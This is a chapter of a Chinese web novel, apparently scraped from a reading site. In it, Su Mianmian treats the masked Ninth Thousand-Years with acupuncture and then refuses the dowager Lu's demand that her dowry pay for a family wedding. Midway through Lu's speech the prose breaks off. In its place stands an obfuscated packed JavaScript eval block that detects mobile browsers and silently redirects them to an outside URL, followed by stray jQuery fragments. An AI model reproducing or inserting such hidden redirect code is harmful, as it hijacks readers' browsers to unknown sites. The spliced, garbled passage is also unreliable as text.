苏绵绵一听这话,立刻来了精神,毕竟她还要靠着九千岁这个身份在京城混呢!
苏绵绵敛眼低眉,给九千岁扎针。
男人躺在软榻上,再次昏昏欲睡。
九千岁突然张开眼睛,冷冷地盯着苏绵绵:“本千岁为何这么困?”
“这祛除寒毒的过程就是要耗费精力……”苏绵绵心中已经怀疑这九千岁与司常煜的关系,所以为了安全起见,统一了台词说法。
见苏绵绵说法一致,男人这才安心地闭上眼睛。
不知不觉,男人竟然沉沉地睡了过去。
仓廪带着暗卫隐匿在暗处,觉察到自家主子竟睡得这般安稳、这般沉,心底不由得一惊。
他们这位主子,常年铁血戎马,刀光剑影里摸爬滚打,便是浅眠也时刻警醒,稍有风吹草动便会骤然醒转。
可此刻,他就那样靠着软榻,长睫轻垂下,呼吸冷沉,虽然面上带着面具,看不出表情来,但是那紧绷的下颌竟透着几分难得的松弛。
暗卫们面面相觑,谁也不曾见过,这位杀伐果断的主子,会在一个女子面前,卸下所有防备,睡得如此毫无戒备。
也不知道这是好事还是坏事!
等到九千岁睡着了,苏绵绵悄悄走出房间,蹑手蹑脚地关上了房门。
仓廪冷着脸上前来。
“你们主子至少要睡两个时辰的,若是没有重要的事情不要求打扰。那我就先回去了,有什么问题,派人去医馆或者是侯府,都可以!”苏绵绵说道。
仓廪点点头。
苏绵绵带着小词离开。
两个时辰之后,九千岁倏忽张开了双眸,一下子坐起身来。
身下这次倒没有湿湿的一片,只是他又做了那个梦,这一次,梦十分的清晰真切,让他想起几个月前他被人下药在客栈遇到的那个女人。
那个女人是他唯一的女人,只是可惜,他被人下了药,视力模糊,根本没有看清女人的模样。
仓廪上前来,端来一杯热茶:“千岁爷您醒了?苏夫人说您会睡两个时辰,果真灵验。”
九千岁看了仓廪一眼,拉回了自己的心思,他低声问道:“那个女人有没有什么异样?”
“您睡着之后,属下一直紧紧盯着苏夫人,苏夫人等您睡着之后就离开了,没有任何异样。”仓廪说道。
九千岁指了指自己的面具:“她没有好奇本千岁的模样?”
仓廪摇头:“苏夫人从头到尾都没有关注千岁的脸,一直低头针灸、行针、拔针。”
九千岁说完,瘪瘪嘴,觉着有些无趣。
是他想多了?这女人就这么规矩?
第二天,卢氏让佟妈妈请了苏绵绵去大厅,商量司常安的亲事。
“过几日是太子的大婚日子,等太子大婚结束,紧接着就是咱们府中的喜事,咱们要办得妥当一些,既不能抢了太子的风头,也不能太寒酸。”卢氏说道。
苏绵绵微微勾唇,忍不住冷笑,就凭侯府这几斤几两,还想抢太子的风头,怕是不可能,那剩下的就是别太寒酸。
怕是卢氏又盯上了她的嫁妆!
果然卢氏踌躇了一下说道:“绵绵啊,你嫁进侯府也两个月多月了,这侯府里什么情况,我就不瞒着你了,咱们侯府是外强中干,这些年瞧着守着太后恩惠、皇上的恩惠,家大业大,吃穿不愁的,但是其实真的没多少家底。”
“之前那丧事,就挪动了你的嫁妆,让你心中不愉快,可是我也实在没办法啊,这么大的一个家,吃穿用度全是钱,总得想法子!”卢氏说着,竟然用帕子擦了擦眼角,挤出一点眼泪来。
苏绵绵笑着说道:“老夫人不必着急,这一次尚书家嫡女不是带着十万嫁妆进府的么,侯府很快就有钱了!”
卢氏皱眉:“那这不是还要有银子办喜事,将人娶进来才成啊?”
卢氏眨眨眼睛,眼眸里全是算计:“绵绵啊,你看这样如何,你先将你的嫁妆拿出来,先将这亲事给办了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17286831|197661||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,等办完之后,那尚书家小姐进了门,我就让她把十万嫁妆拿出来还你,如何?”
苏绵绵忍不住笑起来:“老夫人,您说这话,若是传出去,会被人笑话死的!二儿子娶媳妇,还要老大媳妇拿嫁妆?这外面所有的人都在传二公子英明神武,引得两位高官嫡女就算是做平妻也要一起嫁进来,您说若是您的这些话传出去,会如何?”
卢氏眸色一暗,冷声说道:“本夫人现在是与你商量,你不乱说话,谁会知道?”
“既然是商量,那我可以不同意吗?”苏绵绵也不客气,脸色也拉了下来。
卢氏十分生气:“苏绵绵,你别忘记,你是侯府的媳妇,出嫁从夫、从公婆,你若是违抗,那就是犯了七出之条,你想让我们侯府休妻吗?”
苏绵绵捂着小嘴咯咯地笑起来:“老夫人,您要用我的嫁妆,我不愿意,那就是不从公婆?这事儿说出去,丢的是侯府的脸面!再说了,我是奉太后懿旨留在侯府的,就连世子爷都答应半年之后再决定我的去留,您这会儿就要休弃我,那不是违抗太后懿旨?”
卢氏的脸色铁青,气得浑身哆嗦,却又拿苏绵绵没有办法。
现在的苏绵绵有太后懿旨撑腰,连司常煜对她都十分维护,就算是安乐侯都拿她没法子,更何况是她!
“没什么事情,那我就先回去了,世子爷还等着我的红烧鱼呢!”苏绵绵福身行礼,转身离开。
“苏绵绵,我倒要看看你能嚣张到什么时候!”卢氏恨得牙痒痒,等她两个儿媳妇进门,她有了帮手,看她如何整治这个女人!
只是办婚礼的银钱……卢氏叹口气,看来还得去娘家借一下,只是上次欠的银钱还没还上……
再加上太子要成亲,要准备礼金……
卢氏忍不住抚了抚脑袋,这巧妇难为无米之炊,真是焦头烂额!
本以为娶一个商贾之女,可以改善侯府囧境,没有想到赔了夫人又折兵,还要重新娶柳意柔,再办一场婚事!